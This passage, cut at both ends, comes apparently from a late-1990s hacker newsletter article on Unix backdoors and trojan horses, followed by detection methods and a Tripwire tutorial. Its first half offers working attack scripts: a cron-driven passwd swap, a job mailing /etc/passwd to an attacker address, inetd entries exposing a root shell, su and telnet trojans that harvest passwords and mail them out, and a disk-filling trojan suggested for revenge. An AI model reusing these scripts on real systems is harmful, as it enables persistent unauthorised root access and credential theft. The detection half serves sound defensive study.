your backdoored copy and get access. you can also make a time limit after which you will restore the original passwd file. -- #! /bin/sh cp /etc/passwd /etc/.temppass cp /tmp/.backdoor_passwd /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd -- this technique was introduced by daemon9 and is quite effective. it will put the backdoor password file instead of the original one for one minute (of course, you can change the limit time using the 'sleep' command) and will then restore the changes. however, it relies on one important factor -- the cron. there should be an entry in the /var/spool/crontab/root file: -- 14 0 * * * /bin/usr/backdoor_password -- the backdoor_password is your shell script (above). the script will run every night at 00:15. this means that you have access to your machine at that time. the other fields are left with an asterisk (*) so that the script runs on a daily basis. another cron-like backdoor could send you the /etc/passwd file every day or week. this would give you information about new accounts, services, etc... and give you a status on how your backdoor account (if you created one) is doing. a simple example (using the same cron entry as the example above) is here: -- # !/bin/sh cp /etc/passwd /etc/.temppass cat /etc/.temppass | mail hacker@address.com rm /etc/.temppass -- * the inet daemon/services backdoor: this is another widely used backdoor technique. basically, there are two techniques here -- one involves exploiting a service which has not been used for a while, and the other involves making your own new service. but, before i continue, i should explain the construction of the /etc/services and /etc/inetd.conf files. first, here is a sample /etc/services file from a Digital Unix 4.0 system (did is just a partial paste, since that very same system had a lot of active services): -- echo 7/tcp echo 7/udp discard 9/tcp discard 9/udp systat 11/udp daytime 13/tcp # Day-time Daemon TCP daytime 13/udp # Day-time Daemon UDP netstat 15/tcp quote 17/udp chargen 19/tcp chargen 19/udp ftp 21/tcp telnet 23/tcp smtp 25/tcp # Simple Mail Transfer Protocol Daemon time 37/tcp time 37/udp name 42/tcp whois 43/tcp auditd 48/tcp # Digital Audit Daemon -- the first field here indicates the name of the service (remember that we're talking about network services), the second one indicates the port which the specific service uses and the protocol type (TCP or UDP) and the last field is just a commentary field. note: to programatically find out which service belongs to each port you can use the getservicebyname() system call. now that you know how the /etc/services looks like, we can proceed the the /etc/inetd.conf (the Internet Daemon) file from the same host (Digital Unix 4.0, again just a partial paste): -- ftp stream tcp nowait root /usr/local/tcpw/tcpd ftpd -dl telnet stream tcp nowait root /usr/local/tcpw/tcpd telnetd shell stream tcp nowait root /usr/local/tcpw/tcpd rshd login stream tcp nowait root /usr/local/tcpw/tcpd rlogind exec stream tcp nowait root /usr/local/tcpw/tcpd rexecd finger stream tcp nowait root /usr/local/tcpw/tcpd fingerd tftp dgram udp wait root /usr/sbin/tftpd tftpd /tmp comsat dgram udp wait root /usr/sbin/comsat comsat talk dgram udp wait root /usr/sbin/talkd talkd -- the first row indicates the name of the daemon (from the /etc/services file). this tells the inet daemon what to look for in the services file to see what port to use with that network service. the next field indicates the type of socket connection (stream type or datagram type). next we have the protocol field (again, TCP (for stream connections or UDP for datagram connections), then the information about delaying the connection (if wait is specified then the server will process all subsequent connections received on the socket, and if nowait is specified, then the system will fork() and exec() a new server process for each additional datagram or connection request. usually, UPD is set to wait, and TCP to nowait although there are exceptions), then what user will execute the daemon (usually root) and then the location of the program which will keep the connection. finally, the last field indicates the actual command which has to be executed when the specific service needs to be used (usually a syntax with parameters if required). as i said, there are two methods for this backdoor -- backdooring a service which isn't used often, or making your own new service. first, we will use a service which already exists. go to the /etc/services file and pick a service that you think isn't used that much (don't use telnet, ftp, smtp, etc...). now go to the inetd.conf file and fill in the correct information for that service (or change the information if it already exists in the file): first the name of the service, then stream, then the protocol (TCP), then nowait, then the user which will execute the program (root of course), then the location of the backdoor (which is actually the shell -- /bin/sh) and finally the program with the corresponding parameter -- 'sh -i'. here is an example: -- discard stream tcp nowait root /bin/sh sh -i -- (don't use discard since it is used often and is therefore a bad example) now, for these changes to take effect, you have to restart the Internet daemon (using the command 'killall -HUP inetd' -- of course, for all of this you have to be root). to try this out, since the discard port is 9 (you can get that from /etc/inetd.conf), you can telnet to port 9 of your victim's host and you will get a root (#) shell. the second method is even better since you're making a new service (and not using an existing one -- therefore eliminating the risk of being caught). what you need to do is find a place between two port in the /etc/services file (like quote is 17 and chargen is 19, so you can place a backdoor with the port number 18 in between). next name the service and put its protocol type TCP. a partial paste of the modified /etc/services file would then look like this: -- quote 17/udp backdoor 18/tcp chargen 19/tcp -- now go to the /etc/inetd.conf file and repeat the process as for method 1 (the entry for the new service backdoor would look like this): -- backdoor stream tcp nowait root /bin/sh sh -i -- and again you have to restart the inetd in order for this to work and to test it out telnet to port 18 and you will get a root shell. * a modified version of the login program: this is another backdoor which is commonly used in the Unix system environment. since Unix is open-source, a lot of programs on the systems have their source somewhere. hackers made a modified version of the login program which would give them the root shell if they typed in the specified password and replaced it with the original program. such an example is provided with this article (see the Appendix section). these were the basic backdoors and the most commonly used ones. i recommend using a few of them at the same time -- placing root SUIDs on a couple of places on the system, enabling two or three services and putting a new backdoored user in the /etc/passwd file. this will confuse the admin, if he/she finds one of them, into thinking that the system is secure after removing the backdoor (however, you still have a few left). Trojan horse techniques: ------------------------* unlike backdoors, trojan horses are used to get initial access to systems. basically, the use goes a long way back to the time of Troy when the Greeks used a big wooden horse which, presented as a gift, was used to get inside the town. what makes trojan horses work is naive users. making them depends only on your imagination and only knowledge is the limit. one of the oldest type of trojan horses on the Unix system was a modified version of the login program. when the users gave their information (login and password) the program would let them in and at the same time send an e-mail containing that very same information to the hacker. i will not go into detail with trojan horses as their use can be huge. what i will do is give you a couple of examples of how they can be used to get crucial information from users. * the su trojan: this type of trojan horse is used a lot for getting the root's password. here is an example shell script which will do this for you: -- #! /bin/sh stty -echo echo -n "Password:" read PASSWD stty echo echo echo "Sorry" echo "$1 / $2: $PASSWD" | mail hacker@some.host rm $0 kill -9 $PPID -- for this to work, you have to name it 'su' and place it into a user's home directory where that user will execute it. however, you must also change that user's PATH variable. this must be done in order for the system to execute the trojan horse. there are a couple of ways of doing this: (1) you can change the variable in the user's .profile (.bash_profile) or .login file, or (2) you can customize the PATH environment by doing this (as an example i'm using the root account for the trojan horse): -- # PATH=.:/usr/bin:/bin:/usr/local/bin:/sbin:/usr/sbin:/usr/X11R6/bin # export PATH -- notice the dot (.) before the /usr/bin directory. this tells the system to look in the user's current directory for the specified command/program (note: on some systems you have to give the trojan horse shell script execute permissions if the system doesn't do it automatically). after the user runs this script it will prompt him/her for a password. it will then say that they typed a wrong password, but will send an e-mail to hacker@some.host along with that password and will then delete itself and remove itself from the process list. * the telnet trojan: this is used if you want to get more hosts and their passwords. since most Unix users use their shell accounts to telnet to other systems, this might be a suitable idea to fish for more accounts. here is an example script: -- #! /bin/sh echo "Trying $1..." sleep 1 echo "Connected to $1." echo "Escape character is '^]'." echo " " echo -n "$1 on Linux 2.0.34, "; date +%x echo " " echo -n "login: " read ID echo -n "Password: " read PW sleep 1 echo "Login incorrect" echo " " echo -n "login: " read ID2 echo -n "Password: " read PW2 sleep 1 echo "Login incorrect" echo " " echo -n "login: " read ID3 echo -n "Password: " read PW3 echo "Host $1, TRY 1: user $ID and password $PW, TRY 2: user $ID2 and password $PW2, TRY 3: user $ID3 and password $PW3." | mail hacker@some.host sleep 1 echo "Login incorrect" echo "Connection closed by foreign host." rm $0 kill -9 $PPID -- this acts as a real telnet program since it loops three times and then dumps you back to your shell. of course, this relies on careless users because the program only guesses that the machine they're telneting to is a Linux 2.0.34 (therefore, this technique isn't good against smart users). the good thing here is that the program e-mails all three tries of logging in (just in case that the user really made a mistake when typing in the password). again, the program deletes itself and for it to work you must modify the PATH variable so that is first loads programs from the current user's directory. * using existing programs for trojan horses: this is a very common method. what you must do is put a simple line somewhere in the C source code of the desired program (if you have the source code) which will, if the program is executed by the root account, do a specific action: -- if ( !strcmp(getlogin(),"root") ) system("chmod 666 /etc/passwd"); -- so, you put this code into a program, recompile it and every time the root account loads this program, it will do a 'chmod 666 /etc/passwd' -- give write permissions to the /etc/passwd file to all users. you can change this to whatever you wish, for example you can create a root SUID shell using the system() call or you can reboot the system, etc... * nasty trojan horses: some people like to use trojan horses to further demolish the system. some do it for fun, some for profit. one of the favourite 'nasty' trojans are used to fill up system space which will effectively slow down most Unix servers. here is a Perl example of such a trojan: -- #! /usr/local/bin/perl $SIZE=shift(@ARGV); $LIST=""; open (FILE, "> megfile"); { for ($CNT = 0; $CNT < 100000; $CNT++ ) { print FILE "**********"; } } close(FILE); for ($CNT = 0; $CNT < $SIZE; $CNT++ ) { $LIST="$LIST megfile" } `cat $LIST > ${SIZE}_mBytes`; echo "Unknown error." rm $0 kill -9 $PPID -- for this to work, you must pass an argument: file name. therefore, you can disguise this trojan horse as a program which needs a file name argument to be run (such as copy, rename or find, etc...). it will fill the specified file with lots of asterisk symbols (*) -- up to 100 mega bytes. then it will name the file with the pattern: name_mBytes. i don't find these kinds of trojans useful. however, some people may find them interesting and useful in situations such as revenge, etc... a solution to this (for the system administrators) is to set up a cronjob script which would monitor disk space every couple of hours and then send an urgent e-mail to the root account if the specified size of the hard drive was used up (a simple check-up for disk drive free space: 'df -k | awk '{print $6"\t"$4}'). here is such an example script: -- #! /bin/sh df -kl | grep -iv filesystem | awk '{print $6" "$4}' | while read LINE; do FSPC=`echo $LINE |awk '{print $2}'` if [ $FSPC -lt 100000 ]; then echo "`date` - ${LINE} space left on `hostname`" >> /var/log/df.log fi done -- this script puts a log into the /var/log/df.log file when a filesystem drops below 100 MB (this can easily be changed so it e-mails the alert to the root account). when placed to the crontab this could be a life saver for system administrators, especially in this situation of a space-filling trojan horse program. trojan horses have many different uses and it all depends on what your goal is. some find these programs useful for snarfing passwords, and other valuable information, while some use them for harassing the system. Detection programs: -------------------* let's face it. backdoors and trojan horses aren't always detected. in fact, a small amount of them are found. the users are the biggest problem. most users on various Unix-like servers are begginers on this field and can, thus, be fooled by malicious programs. as i said, a very common backdoor is a SUID copy of the root shell. this is not a full-proof hacker technique and can be discovered quickly, using the 'find' command: -- # find / -type f \( -perm -4000 -o -perm -2000 \) -ls -- this tells 'find' to list all normal files (the 'f' parameter) with the SUID (4000) or SGID (2000) bits set. this works on a pattern of excluding files (since SUID programs have an 's' instead of an 'x' in the root field of their permissions). if you have an NFS-mounted filesystem, you can exclude it from the search by the following command: -- # find / -local -type f \( -perm -4000 -o -perm -2000 \) -exec ls -ld '{}' \; -- this solves only one possible backdoor. there are a lot more, and protection is weak here. the next example is a simple checklist mechanism: -- #! /bin/sh cat /usr/adm/file_list | xargs ls -ild > /tmp/now diff -b /usr/adm/save_list /tmp/now -- the file /usr/adm/file_list contains a list of files to monitor. the -i option adds the inode number in the listing. the -d option includes directory properties, rather than contents (if the entry is a directory). a better version of the above (since it does not give us a lot of information) uses the powerful find command: -- #! /bin/sh find `cat /usr/adm/file_list` -ls > /tmp/now diff -b /usr/adm/save_list /tmp/now -- this will also disclose if files have been added/deleted to any of the specified directories (from the /user/adm/file_list). this script can furthermore be exanded by the use of an MD5 checksum generating program (for this example, we will call it 'md5'): -- #! /bin/sh find `cat /usr/adm/file_list` -ls -type f -exec md5 {}\; > /tmp/now diff -b /usr/adm/save_list /tmp/now -- since another common backdoor is placing a new user with the UID 0 into the /etc/passwd file, a recommended action is to check that file for such users (which have the UID of 0, have less then seven fields or do not have a password): -- # cat /etc/passwd | awk -F: 'NF != 7 || $3 == 0 || $2 == "" { print $1 " " $2 " " $3}' -- this will bring up all usernames which correspond to the above pattern. these scripts are quite primitive, and are not so reliable. a perfect system cannot exist. however, detection programs exist and they are helpful. such a program is Tripwire. in this chapter i will explain what it does and how to use it to make the most out of filesystem monitoring. Tripwire, created by Eugene Spafford and Gene Kim at Purdue University in 1992, is an integrity checking tool designed to monitor the Unix filesystem in order to find any unauthorized modification. it is particularly useful for finding viruses, worms, logic bombs, backdoor and trojan horses which intruders might leave for future use. since most Unix distributions have thousands of files in their basic installations, there isn't a practical way to check for all files after an intrusion. reinstalling the system isn't always a good idea, especially if you don't make back-ups (which i strongly suggest to any Unix system administrator). Tripwire works by taking 'fingerprints' of files and storing them in a database. after the intrusion, when run, it will check and compare the files' current fingerprints against the original ones from the database. all files which have been added, deleted and/or modified are displayed to the admin. Tripwire is good because it is fast. it uses a wide variety of signature algorithms or one-way hash functions. such are: RSA Data Security Inc.'s, MD5 (Message Digest 5), MD4 and MD2, Snefru (Xerox Secure Hash Function), SHA (Secure Hash Algorithm), Haval code and two conventional CRC (the Cyclic Redundancy Check -- 32-bit and 16-bit). the default setup will record two signatures for each database entry (each file). for a hacker, this is very difficult to cover. the authors tested over 250,000 files on five computers for duplicate signatures. while the 16-bit CRC produced approximately 25,000 collisions, 128-bit MD4, MD5 and Snefru produced none (all of this can be found in a great document concerning the development of Tripwire: "The Design and Implementation of Tripwire" by Eugene H. Spafford and Gene H. Kim). Tripwire is highly portable -- there is a version for almost every Unix distribution. the database is encoded as ASCII text which makes is easy to print and to manually edit with different text-processing programs. Tripwire is very fast, accurate and can work in a network environment (it can be set up to cover thousands of machines even from a basic installation). when first run, Tripwire crates the baseline database of signatures. each time after that, it uses its config file (tw.config) to generate a new signature database. the program then compares the previous database with the new one and gives you a report. here is a graphical demonstration of how it works: -- tw.config -- generate --> new database | baseline | database --------------> compare | apply options | report -- Tripwire has four modes of operation: * Database Generation: this mode produced the baseline database (for future comparing). * Integrity Checking: this is the main mode (the files are being checked against the baseline database). * Database Update and Interactive Update: these two modes have a number of options which can be helpful in order to prevent reporting of some files which are constantly changing. an example here would be the /etc/passwd file. if you're running a big system with lots of users, which are being added every day or week, then you might want to exclude this file from signature checking, since it will always be displayed as changed or modified. however, attackers might leave a simple user backdoor in your /etc/passwd file, so i suggest that you make a shell script which will make a back-up of your password file upon the addition of new users (so it uses the command 'adduser' and makes a copy of the /etc/passwd file (or any other) with the extension being the date of the back-up). the tw.config file is a good resource which will give exact information on which files are being processed and which flags/attributes they have. each entry in this file has its selection mask. the next table shows Tripwire's selection masks: Flag: Description: -----*--------------------------------------* - ignore the following attribute + include the following attribute p permission bits i inode number n number of links u owner's user ID g owner's group ID s file size a access timestamp m modification timestamp c inode creation/modification timestamp note: an inode is a structure in which Unix stores administrative information about a file (item location, item's type (file/directory/link, etc...), item's size in bytes, ctime (the time the file's inode was last modified), mtime (the time the file's contents were last modified, atime (the time the file was last accessed (for read(), exec(), etc...), reference count (the number of names the file has), UID, GID and the file's mode bits (permission bits)). since these flags are complex, the designers made a few templates which cover most things an average administrator needs: Letter: Template purpose: Template selection masks: -------*------------------*--------------------------* R read-only files +pinugsm12-ac3456789 L log files +pinug-sacm123456789 N ignore nothing +pinugsamc123456789 E ignore everything -pinugsamc123456789 > growing log files +pinug>samc123456789 note: the tamplates can also be mixed with selection masks (such an example would be R-2, which indicates a default check (read-only files) but without the use of Snefru). Tripwire uses the R template by default. an example would be: if the entry for /home/bjames looks like this (in the tw.config file): -- /home/bjames R -- then the selection masks for that directory are actually: -- /home/bjames +pinugsm12-ac3456789 -- this simplifies work. in the above example, Tripwire will report any changes in mode bits, inode number, reference count, UID, GID, file size, modification timestamp and the MD5 and Snefru signatures (1 and 2). it will ignore/exclude changes to the access and inode timestamps and the use of all other signatures. this brings us to another table, the Tripwire signature numbers (the numbers upon which Tripwire compares the entries in the baseline database (they are also stored in the tw.config file)): Number: Signature: -------*------------------------* 0 null signature 1 MD5 2 Snefru 3 CRC (32-bit) 4 CRC (16-bit) 5 MD4 6 MD2 7 SHA 8 Haval (128-bit) 9 reserved for future use MD5 and Snefru are used the most. there are two more operators which make filesystem monitoring more configurable. if an exclamation mark ('!') is placed before an entry in the tw.config file, if the entry is a file it is ignored. the same applies if the entry is a directory -- all the files in it are ignored. if a '=' sign is placed before an entry, if the entry is a file Tripwire does nothing. if the entry is a directory, its contents won't be monitored but the directory itself will. Tripwire is not hard to install, so i will not get into that. what i will do is give you a couple of tips on how to make monitoring easier. using the command 'tripwire -initialize', you run the Database Generation mode. this will create the baseline database in a default directory './databases', under the file tw.db_yourHostname ('yourHostname' is replaced with your machines' hostname). to run Tripwire in the Interactive Mode, use the command 'tripwire -interactive'. this mode prompts you to update the database each time Tripwire finds a file or directory that has been added, deleted or changed. to use the Database Update mode (this provides a fast way of updating database entries on the command-line), run the command including the '-update' parameter and what file/directory you wish to update. for example: -- # tripwire -update /home/bjames/my.file # tripwire -update /home/bjames -- the first command updates on the 'my.file' in the 'bjames' home directory. the second one updates the whole directory with all the files in it. to make Tripwire more efficient, i recommend that you run it once a day, using cron. you can even make Tripwire into mailing you the report (something like 'tripwire | /bin/mail root' command). to make checking faster, you can exclude specific signatures. for example, 'tripwire -i 2' uses only the Snefru signature (and not the MD5 like default). Tripwire won't check mounter partitions, so count on that if you want to check them too. if you want to see which files Tripwire is working on, use the 'tripwire -v' command. * a sample filesystem check: -- Tripwire(tm) Intrusion Detection Software v1.3 This release is for single CPU, single-site, end-use purposes. For commerical applications or product information, please visit the Visual Computing Corporation web site at http://www.visualcomputing.com/tripwire, or call us at (503) 223-0280. Tripwire(tm) Copyright 1992-98 by the Purdue Research Foundation of Purdue University, and distributed by Visual Computing Corporation under exclusive license arrangements. ### Phase 1: Reading configuration file ### Phase 2: Generating file list ### Phase 3: Creating file information database ### Phase 4: Searching for inconsistencies ### ### Total files scanned: 37024 ### Files added: 7 ### Files deleted: 8 ### Files changed: 22 ### ### Total file violations: 37 -- one more thing -- be sure to secure Tripwire's databases. these are hacker targets and are very valuable to you as the system administrator. Tripwire is a very powerful tool, use it correctly and you will make the most out of backdoors and trojan horse checking. there are a couple of Tripwire clones on the Internet. such an example is Slipwire, coded in Perl. other, similar programs are ATP (the Anti-Tampering Program), Hobgoblin (by Farmer and Spafford), etc... Appendix: ---------* i have included the following files along with this article: slipwire.pl (the Slipwire perl script for filesystem integrity checking) and trojans_c.zip (a collection of some useful Unix trojans and backdoors written in C). slipwire.pl - http://net-security.org/default/08/slipwire.pl trojans_c.zip - http://net-security.org/default/08/trojans_c.zip Conclusion: -----------* placing backdoors is the key to having constant access to a system. this is a primary mission for each hacker if he/she wants to keep the root account. on the other hand, system administrators should be careful and should, thus, run filesystem integrity checkers, such as Tripwire, on a daily basis -- this is the only powerful tool against backdoors and trojan horses. Disclaimer: -----------* we prohibit hacking,phreaking & such criminal activities. all information found here does not, in any way,connect to crime. this text is meant for people to learn and be aware of security. if you try anything that's considered illegal with the information found in this text you will be to blame yourself,we cannot be blamed for other people's actions. remember that security is very important and thus should not be neglected by the people holding the strings. Default newsletter (http://default.net-security.org)